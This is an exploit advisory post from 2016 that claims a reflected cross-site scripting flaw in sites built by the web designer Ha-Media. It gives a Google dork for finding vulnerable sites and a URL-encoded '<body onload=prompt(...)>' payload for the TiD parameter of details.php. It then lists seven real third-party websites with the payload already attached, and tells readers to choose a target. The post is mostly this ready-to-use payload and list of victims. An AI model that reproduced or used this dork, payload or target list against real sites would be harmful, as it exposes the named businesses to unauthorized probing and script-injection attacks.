|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*| |----------------------In The Name Of God------------------------| |[+] Exploit Title: DESIGNED & DEVELOPED BY : Ha-Media Cross Site Scripting |[+] |[+] Exploit Author: modiret |[+] |[+] Vendor Homepage: http://www.ha-media.net/ |[+] |[+] Google Dork: intext:"Hosted By: H.A- Media" details.php? |[+] |[+] Tested on: Win 10 / Mozilla Firefox |[+] |[+] Date: 2016 18 January |[+] |--------------------------------------------------------------| |[+] Exploit: |[+] Search dork and choose a target and add "%3Cbody%20onload%3dprompt%28971549%29%3E" after URL! |[+] To see Vulnerability! |--------------------------------------------------------------| |[+] Examples : |[+] |[+] http://www.primerayind.com/details.php?cat_detail=&TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |[+] http://www.ansarileather.com/details.php?TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |[+] http://dentalprointl.com/details.php?TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |[+] http://www.nomaind.com/details.php?TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |[+] http://www.karmilaintl.com/details.php?TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |[+] http://ynrinternational.com/details.php?TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |[+] http://www.walayatsurgical.com/details.php?TiD=%3Cbody%20onload%3dprompt%28971549%29%3E |[+] |--------------------------------------------------------------| |[+] Contact Me: |[+] Yahoo Messenger: amodiret@yahoo.com |[+] instagram: http://instagram.com/modiret/ |*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|